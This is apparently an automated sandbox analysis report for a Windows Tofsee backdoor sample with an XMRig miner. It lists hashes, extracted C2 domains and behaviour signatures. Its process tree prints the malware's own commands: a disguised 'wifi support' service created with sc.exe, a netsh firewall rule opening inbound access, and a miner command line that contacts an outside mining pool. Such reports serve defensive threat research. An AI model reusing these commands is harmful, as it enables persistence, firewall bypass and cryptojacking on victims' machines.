Analysis

  • max time kernel
    150s
  • max time network
    153s
  • platform
    windows7_x64
  • resource
    win7-20230220-en
  • resource tags

    arch:x64arch:x86image:win7-20230220-enlocale:en-usos:windows7-x64system
  • submitted
    16-05-2023 00:07

General

  • Target

    file.exe

  • Size

    234KB

  • MD5

    1a0aa2a4834e1fbe2da672a2dd629c92

  • SHA1

    78f861410e03a72115005cdb54214af6189c8c4e

  • SHA256

    d5178474cc5b93e7f726ae674f20d2b3faffdc7bf6c498bac28f14e9857cc459

  • SHA512

    30bae92e12f30b621a37589bf7ce91331db6e0ea5d4b8f2ee7333e53f5cb5783cfe634b025ea8eec99561fe9137cfdd870265c64f25c41c6fd7d17ea8e945277

  • SSDEEP

    3072:Ap+d48tF8JfG1R2povLjuV6wsUx5zDIXU83h+tiS16gfN3VVEEMp3VJZ:dtz3vOVh53I98tOgF3NMplJZ

Malware Config

Extracted

Family

tofsee

C2

vanaheim.cn

jotunheim.name

Signatures

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • Windows security bypass 2 TTPs 1 IoCs
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 7 IoCs
  • Creates new service(s) 1 TTPs
  • Modifies Windows Firewall 1 TTPs 1 IoCs
  • Sets service image path in registry 2 TTPs 1 IoCs
  • Deletes itself 1 IoCs
  • Executes dropped EXE 1 IoCs
  • Drops file in System32 directory 2 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe 3 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Modifies data under HKEY_USERS 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 36 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\file.exe
    "C:\Users\Admin\AppData\Local\Temp\file.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:912
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\czxrhcvx\
      2⤵
        PID:908
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\ilibsuoe.exe" C:\Windows\SysWOW64\czxrhcvx\
        2⤵
          PID:1128
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create czxrhcvx binPath= "C:\Windows\SysWOW64\czxrhcvx\ilibsuoe.exe /d\"C:\Users\Admin\AppData\Local\Temp\file.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
          • Launches sc.exe
          PID:580
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" description czxrhcvx "wifi internet conection"
          2⤵
          • Launches sc.exe
          PID:676
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" start czxrhcvx
          2⤵
          • Launches sc.exe
          PID:1676
        • C:\Windows\SysWOW64\netsh.exe
          "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
          2⤵
          • Modifies Windows Firewall
          PID:624
      • C:\Windows\SysWOW64\czxrhcvx\ilibsuoe.exe
        C:\Windows\SysWOW64\czxrhcvx\ilibsuoe.exe /d"C:\Users\Admin\AppData\Local\Temp\file.exe"
        1⤵
        • Executes dropped EXE
        • Suspicious use of SetThreadContext
        • Suspicious use of WriteProcessMemory
        PID:980
        • C:\Windows\SysWOW64\svchost.exe
          svchost.exe
          2⤵
          • Windows security bypass
          • Sets service image path in registry
          • Deletes itself
          • Drops file in System32 directory
          • Suspicious use of SetThreadContext
          • Modifies data under HKEY_USERS
          • Suspicious use of WriteProcessMemory
          PID:1620
          • C:\Windows\SysWOW64\svchost.exe
            svchost.exe --algo=cn-heavy/xhv -o fastpool.xyz:10162 -u abLocBRHmSKSwfZexhaPDFFpUd1Szsp1RWPZktGDuK2w76S3KYNSLGndi55YtoHoKYbSFMCCWjxzTfwHxZSm7sNLe2rAq4DqbAF.70000 -p x -k
            3⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:1132

      Network

      MITRE ATT&CK Enterprise v6

      Replay Monitor

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      Downloads

      • C:\Users\Admin\AppData\Local\Temp\ilibsuoe.exe

        Filesize

        12.1MB

        MD5

        c75d751c1e46ee4b4ed3836d97abc096

        SHA1

        a667cce5a58397b242089cf7be3b65376de8d88d

        SHA256

        1d9d60577c4f9a9078f3dedb8c6110d97f5a619ae179f8146e2f8c98ce9f1f9c

        SHA512

        50b094844f927630840477f658ddaef7171c405f5557022618378694babd093d115eced536ed0284a7b0c51fdce5ee3bcad1314781516b4163a9c37cecf6e2f3

      • C:\Windows\SysWOW64\czxrhcvx\ilibsuoe.exe

        Filesize

        12.1MB

        MD5

        c75d751c1e46ee4b4ed3836d97abc096

        SHA1

        a667cce5a58397b242089cf7be3b65376de8d88d

        SHA256

        1d9d60577c4f9a9078f3dedb8c6110d97f5a619ae179f8146e2f8c98ce9f1f9c

        SHA512

        50b094844f927630840477f658ddaef7171c405f5557022618378694babd093d115eced536ed0284a7b0c51fdce5ee3bcad1314781516b4163a9c37cecf6e2f3

      • memory/912-56-0x00000000001B0000-0x00000000001C3000-memory.dmp

        Filesize

        76KB

      • memory/912-59-0x0000000000400000-0x00000000006B8000-memory.dmp

        Filesize

        2.7MB

      • memory/980-64-0x0000000000400000-0x00000000006B8000-memory.dmp

        Filesize

        2.7MB

      • memory/1132-122-0x0000000000200000-0x00000000002F1000-memory.dmp

        Filesize

        964KB

      • memory/1132-123-0x0000000000200000-0x00000000002F1000-memory.dmp

        Filesize

        964KB

      • memory/1132-124-0x0000000000200000-0x00000000002F1000-memory.dmp

        Filesize

        964KB

      • memory/1132-121-0x0000000000200000-0x00000000002F1000-memory.dmp

        Filesize

        964KB

      • memory/1132-120-0x0000000000200000-0x00000000002F1000-memory.dmp

        Filesize

        964KB

      • memory/1132-119-0x0000000000200000-0x00000000002F1000-memory.dmp

        Filesize

        964KB

      • memory/1132-112-0x0000000000200000-0x00000000002F1000-memory.dmp

        Filesize

        964KB

      • memory/1132-111-0x0000000000200000-0x00000000002F1000-memory.dmp

        Filesize

        964KB

      • memory/1620-88-0x0000000000200000-0x0000000000210000-memory.dmp

        Filesize

        64KB

      • memory/1620-96-0x0000000000200000-0x0000000000210000-memory.dmp

        Filesize

        64KB

      • memory/1620-81-0x0000000000200000-0x0000000000210000-memory.dmp

        Filesize

        64KB

      • memory/1620-82-0x0000000000200000-0x0000000000210000-memory.dmp

        Filesize

        64KB

      • memory/1620-83-0x0000000000200000-0x0000000000210000-memory.dmp

        Filesize

        64KB

      • memory/1620-84-0x0000000000200000-0x0000000000210000-memory.dmp

        Filesize

        64KB

      • memory/1620-85-0x0000000000200000-0x0000000000210000-memory.dmp

        Filesize

        64KB

      • memory/1620-86-0x0000000000200000-0x0000000000210000-memory.dmp

        Filesize

        64KB

      • memory/1620-87-0x0000000000200000-0x0000000000210000-memory.dmp

        Filesize

        64KB

      • memory/1620-75-0x00000000001A0000-0x00000000001A6000-memory.dmp

        Filesize

        24KB

      • memory/1620-89-0x0000000000200000-0x0000000000210000-memory.dmp

        Filesize

        64KB

      • memory/1620-90-0x0000000000200000-0x0000000000210000-memory.dmp

        Filesize

        64KB

      • memory/1620-91-0x0000000000200000-0x0000000000210000-memory.dmp

        Filesize

        64KB

      • memory/1620-93-0x0000000000200000-0x0000000000210000-memory.dmp

        Filesize

        64KB

      • memory/1620-94-0x0000000000200000-0x0000000000210000-memory.dmp

        Filesize

        64KB

      • memory/1620-92-0x0000000000200000-0x0000000000210000-memory.dmp

        Filesize

        64KB

      • memory/1620-95-0x0000000000200000-0x0000000000210000-memory.dmp

        Filesize

        64KB

      • memory/1620-78-0x0000000000200000-0x0000000000210000-memory.dmp

        Filesize

        64KB

      • memory/1620-97-0x0000000000200000-0x0000000000210000-memory.dmp

        Filesize

        64KB

      • memory/1620-98-0x0000000000250000-0x0000000000255000-memory.dmp

        Filesize

        20KB

      • memory/1620-101-0x0000000000250000-0x0000000000255000-memory.dmp

        Filesize

        20KB

      • memory/1620-102-0x0000000005950000-0x0000000005D5B000-memory.dmp

        Filesize

        4.0MB

      • memory/1620-106-0x0000000000260000-0x0000000000267000-memory.dmp

        Filesize

        28KB

      • memory/1620-105-0x0000000005950000-0x0000000005D5B000-memory.dmp

        Filesize

        4.0MB

      • memory/1620-110-0x0000000000080000-0x0000000000095000-memory.dmp

        Filesize

        84KB

      • memory/1620-74-0x0000000001890000-0x0000000001A9F000-memory.dmp

        Filesize

        2.1MB

      • memory/1620-71-0x0000000001890000-0x0000000001A9F000-memory.dmp

        Filesize

        2.1MB

      • memory/1620-69-0x0000000000080000-0x0000000000095000-memory.dmp

        Filesize

        84KB

      • memory/1620-68-0x0000000000080000-0x0000000000095000-memory.dmp

        Filesize

        84KB

      • memory/1620-67-0x0000000000080000-0x0000000000095000-memory.dmp

        Filesize

        84KB

      • memory/1620-63-0x0000000000080000-0x0000000000095000-memory.dmp

        Filesize

        84KB

      • memory/1620-61-0x0000000000080000-0x0000000000095000-memory.dmp

        Filesize

        84KB

      • memory/1620-62-0x000000007EFDE000-0x000000007EFDF000-memory.dmp

        Filesize

        4KB